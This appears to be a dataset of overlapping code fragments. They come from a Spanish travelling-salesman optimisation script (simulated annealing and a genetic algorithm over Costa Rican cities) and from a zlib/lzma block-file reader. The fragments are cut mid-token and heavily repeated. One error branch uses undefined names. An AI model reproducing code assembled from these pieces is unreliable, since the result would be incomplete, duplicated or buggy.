"dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento: solucion,cont =",
"optimizar(dominio,temperatura,tasa) print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura",
"# start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time",
"0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5):",
"1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion:",
"\"\"\" poblacion = 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000",
"reps = 1000 test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100,",
"import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from math import",
"test = False dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000,",
"range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() -",
"time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time: %0.10f seconds.\"",
"\"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): start_time = time() solucion",
"for i in range(0,5): # start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time",
"700 0.1 1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in",
"\"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0",
"reps, testeo): while(poblacion <= 1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion:",
"\", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\",",
"optimizar from dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar",
"|\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\"",
"p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p)",
"time: %0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela')",
"1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time",
"= DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') # (dominio, 100, 0.1, 0.5, 1000, False) #optimizar(dominio, tam_pobl, porc_elite,",
"16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\") poblacion = poblacion",
"solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed time: %0.10f seconds.\"",
"mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion: \",",
"= time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time: %0.10f",
"%0.10f seconds.\" % elapsed_time) print (solucion) #Genetico \"\"\" dominio = DominioAGTSP('datos/ciudades_cr.csv', 'Alajuela') for",
"DominioAGTSP #from algoritmo_genetico import optimizar from math import e from time import time",
"start_time = time() solucion = optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time:",
"\"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite = 0.1 mutacion",
"while(poblacion <= 1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion,",
"solucion = optimizar(dominio,poblacion,elite,p,reps,test) #print(\"poblacion: \", poblacion, \", mutacion: \", p) #print(\"Solucion: \", dominio.fcosto(solucion),",
"dominio_tsp import DominioTSP #from dominio_ag_tsp import DominioAGTSP #from algoritmo_genetico import optimizar from math",
"start_time = time() solucion = optimizar(dominio,1250000.0,0.99) # elapsed_time = time() - start_time #print(\"Elapsed",
"\"|\", cont, \"|\") temperatura = temperatura/0.2 \"\"\" \"\"\" poblacion = 100 elite =",
"100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test = False",
"dominio.fcosto(solucion), \"\\n\") print(\"| 16 |\", poblacion, \"|\", p, \"|\", round(dominio.fcosto(solucion),3), \"| 1000 |\")",
"\"\"\" \"\"\" poblacion = 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps =",
"+ 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700 0.1 1675.0 1000",
"#optimizar(dominio, tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for p in mutacion:",
"prob_mut, reps, testeo): while(poblacion <= 1000): for p in mutacion: solucion = optimizar(dominio,poblacion,elite,p,reps,test)",
"1675.0 1000 #Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): #",
"= [0.8,0.9,0.95,0.99] dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') while(temperatura < 10000000): for tasa in enfriamiento:",
"print(\"| 17 |\", temperatura, \"|\", tasa, \"|\", round(solucion,3), \"|\", cont, \"|\") temperatura =",
"= optimizar(dominio,700,0.1,0.1,1000,False) elapsed_time = time() - start_time print(\"Elapsed time: %0.10f seconds.\" % elapsed_time)",
"#Simualted Annealing dominio = DominioTSP('datos/ciudades_cr.csv', 'Alajuela') for i in range(0,5): # start_time =",
"= 100 elite = 0.1 mutacion = [0.1,0.3,0.5,0.7,0.9] reps = 1000 test =",
"tam_pobl, porc_elite, prob_mut, reps, testeo): while(poblacion <= 1000): for p in mutacion: solucion",
"\"| 1000 |\") poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4",
"poblacion = poblacion + 200 \"\"\" #Annealing: 1250000.0 0.99 1762.4 1856 #Genetico: 700"
] |
[
"for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len",
"= [BlockDir(d) for d in dirnames] def find_block(self, seg_sum): for bd in self.block_dirs:",
"xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline",
"def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index",
"re import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" %",
"FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum",
"set() if self.format_byte == 'z': self.is_x_group = False elif self.format_byte == 'x': self.is_x_group",
"Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")):",
"(int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise",
"if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames):",
"if self.format_byte == 'z': self.is_x_group = False elif self.format_byte == 'x': self.is_x_group =",
"pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of",
"Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for",
"in dirnames] def find_block(self, seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum) if",
"seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f return",
"filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0],",
"self.block_dirs = [BlockDir(d) for d in dirnames] def find_block(self, seg_sum): for bd in",
"FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline):",
"-*- import zlib import lzma import re import os class FormatError(Exception): pass def",
"if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum:",
"= self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len = 0 for _",
"\"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs =",
"seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object):",
"def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit =",
"# -*- coding: utf-8 -*- import zlib import lzma import re import os",
"seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self,",
"= True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len =",
"xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline)",
"xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data)",
"of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data =",
"filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte ==",
"return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close()",
"self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid",
"self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group = False",
"os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname)",
"self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z':",
"if not hit: raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum =",
"def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class",
"return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename",
"self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group = False elif self.format_byte",
"raise FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data",
"hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index line\", idxline)",
"'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = []",
"%s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not",
"x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname",
"header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname =",
"hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum",
"seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename =",
"offset = 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline",
"= self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum !=",
"= False elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count",
"self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline)",
"desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum",
"pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit",
"!= self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte))",
"unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0",
"= open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group",
"f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if formatbyte",
"FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return",
"in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data): raise",
"__init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum)",
"desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline,",
"def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file):",
"= open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte",
"hit: raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return",
"== 'z': self.is_x_group = False elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum",
"9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if formatbyte !=",
"import lzma import re import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return",
"__init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in dirnames] def find_block(self, seg_sum): for",
"decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile",
"bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f return None def",
"self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first",
"FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data =",
"compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f",
"idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline,",
"!= 'z': raise FormatError(\"blockfile is not a zlib file\", (src_file, formatbyte)) return zlib.decompress(f.read())",
"import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\" % (int(seg_len),",
"raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len,",
"= filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte",
"'z': self.is_x_group = False elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum =",
"in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen",
"range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if",
"x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield",
"lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline",
"= unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len,",
"self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum",
"seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else:",
"consistent with seg lens in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class",
"if formatbyte != 'z': raise FormatError(\"blockfile is not a zlib file\", (src_file, formatbyte))",
"first byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read()",
"self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self,",
"offset += xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data len not consistent",
"= [] self.x_overall_len = 0 for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline)",
"= pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte",
"not consistent with seg lens in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read())",
"yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum =",
"BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename self.fh =",
"dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self,",
"seg_sum self.filename = filename self.fh = open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set()",
"seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum))",
"= f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is not a zlib file\",",
"idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum",
"_ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len +=",
"return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def",
"byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data",
"block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if",
"= hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum =",
"seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename): self.main_seg_sum = seg_sum self.filename = filename",
"0 for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline)",
"def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname,",
"if offset != len(unpacked_data): raise FormatError(\"lzma data len not consistent with seg lens",
"\"%d %s\\n\" % (int(seg_len), seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if",
"= 0 for _ in range(embedded_idxline_count): idxline = self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum =",
"0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set:",
"xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data len not consistent with seg",
"self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file):",
"data len not consistent with seg lens in x header\", self.filename) def z_unpack_seg(self):",
"len(unpacked_data): raise FormatError(\"lzma data len not consistent with seg lens in x header\",",
"xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset +=",
"def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname) else: return FlatBlockDir(dirname) class BlockSearchPath(object): def",
"xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum !=",
"def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return",
"self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase):",
"BlockSearchPath(object): def __init__(self, dirnames): self.block_dirs = [BlockDir(d) for d in dirnames] def find_block(self,",
"formatbyte != 'z': raise FormatError(\"blockfile is not a zlib file\", (src_file, formatbyte)) return",
"f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1) if formatbyte != 'z':",
"-*- coding: utf-8 -*- import zlib import lzma import re import os class",
"f = open(src_file) formatbyte = f.read(1) if formatbyte != 'z': raise FormatError(\"blockfile is",
"lens in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self,",
"filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname): if os.path.exists(os.path.join(dirname, \"0\")): return Nest1BlockDir(dirname)",
"elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip())",
"(self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline",
"filename): self.main_seg_sum = seg_sum self.filename = filename self.fh = open(filename) self.format_byte = self.fh.read(1)",
"not hit: raise FormatError(\"malformed index line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2)",
"seg lens in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def",
"def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in desired_idxline_set:",
"int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum, filename):",
"re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index line\", idxline) seg_len =",
"= int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object): def __init__(self, seg_sum,",
"+= xseglen if xsegsum != self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum",
"self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise FormatError(\"invalid first byte of compressed block\", (self.blk_file,",
"if self.x_overall_idxline in desired_idxline_set: yield (self.x_overall_idxline, unpacked_data) offset = 0 for idxline in",
"yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset != len(unpacked_data): raise FormatError(\"lzma data",
"import re import os class FormatError(Exception): pass def pack_idxline(seg_len, seg_sum): return \"%d %s\\n\"",
"index line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class",
"self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group = False elif self.format_byte ==",
"<filename>indumpco/file_format.py<gh_stars>0 # -*- coding: utf-8 -*- import zlib import lzma import re import",
"self.main_seg_sum: self.extra_idxlines.add(idxline) self.x_overall_idxline = pack_idxline(self.x_overall_len, self.x_overall_sum) if self.main_seg_sum != self.x_overall_sum: self.extra_idxlines.add(self.x_overall_idxline) else: raise",
"False elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count =",
"line\", idxline) seg_len = int(hit.group(1)) seg_sum = hit.group(2) return seg_len, seg_sum class BlockFileRead(object):",
"else: raise FormatError(\"invalid first byte of compressed block\", (self.blk_file, format_byte)) def x_unpack_segs(self, desired_idxline_set):",
"= unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if",
"dirnames): self.block_dirs = [BlockDir(d) for d in dirnames] def find_block(self, seg_sum): for bd",
"for d in dirnames] def find_block(self, seg_sum): for bd in self.block_dirs: f =",
"z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase):",
"format_byte)) def x_unpack_segs(self, desired_idxline_set): xz_data = self.fh.read() unpacked_data = lzma.decompress(xz_data) if self.x_overall_idxline in",
"self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname",
"for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield",
"== 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines =",
"[BlockDir(d) for d in dirnames] def find_block(self, seg_sum): for bd in self.block_dirs: f",
"seg_sum) def unpack_idxline(idxline): hit = re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed",
"class BlockDirBase(object): def __init__(self, dirname): self.dirname = dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum):",
"os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, os.path.join(seg_sum[0], seg_sum)) def BlockDir(dirname):",
"self.fh.readline() self.x_embedded_idxlines.append(idxline) xseglen, xsegsum = unpack_idxline(idxline) self.x_overall_len += xseglen if xsegsum != self.main_seg_sum:",
"'w') f.write('z') f.write(zlib.compress(src_str, 9)) f.close() def decompress_zfile_to_string(src_file): f = open(src_file) formatbyte = f.read(1)",
"= 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline) if idxline in",
"offset != len(unpacked_data): raise FormatError(\"lzma data len not consistent with seg lens in",
"FormatError(\"lzma data len not consistent with seg lens in x header\", self.filename) def",
"len not consistent with seg lens in x header\", self.filename) def z_unpack_seg(self): return",
"with seg lens in x header\", self.filename) def z_unpack_seg(self): return zlib.decompress(self.fh.read()) class BlockDirBase(object):",
"open(filename) self.format_byte = self.fh.read(1) self.extra_idxlines = set() if self.format_byte == 'z': self.is_x_group =",
"find_block(self, seg_sum): for bd in self.block_dirs: f = bd.filename(seg_sum) if os.path.exists(f): return f",
"self.is_x_group = False elif self.format_byte == 'x': self.is_x_group = True self.x_overall_sum = self.fh.readline().strip()",
"(self.x_overall_idxline, unpacked_data) offset = 0 for idxline in self.x_embedded_idxlines: xseglen, xsegsum = unpack_idxline(idxline)",
"if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen if offset !=",
"= dirname class FlatBlockDir(BlockDirBase): def filename(self, seg_sum): return os.path.join(self.dirname, seg_sum) class Nest1BlockDir(BlockDirBase): def",
"= re.match(r'^([0-9]+) (\\w+)\\s*$', idxline) if not hit: raise FormatError(\"malformed index line\", idxline) seg_len",
"os.path.exists(f): return f return None def compress_string_to_zfile(src_str, dest_file): f = open(dest_file, 'w') f.write('z')",
"self.is_x_group = True self.x_overall_sum = self.fh.readline().strip() embedded_idxline_count = int(self.fh.readline().strip()) self.x_embedded_idxlines = [] self.x_overall_len",
"xsegsum = unpack_idxline(idxline) if idxline in desired_idxline_set: yield (idxline, unpacked_data[offset:offset+xseglen]) offset += xseglen",
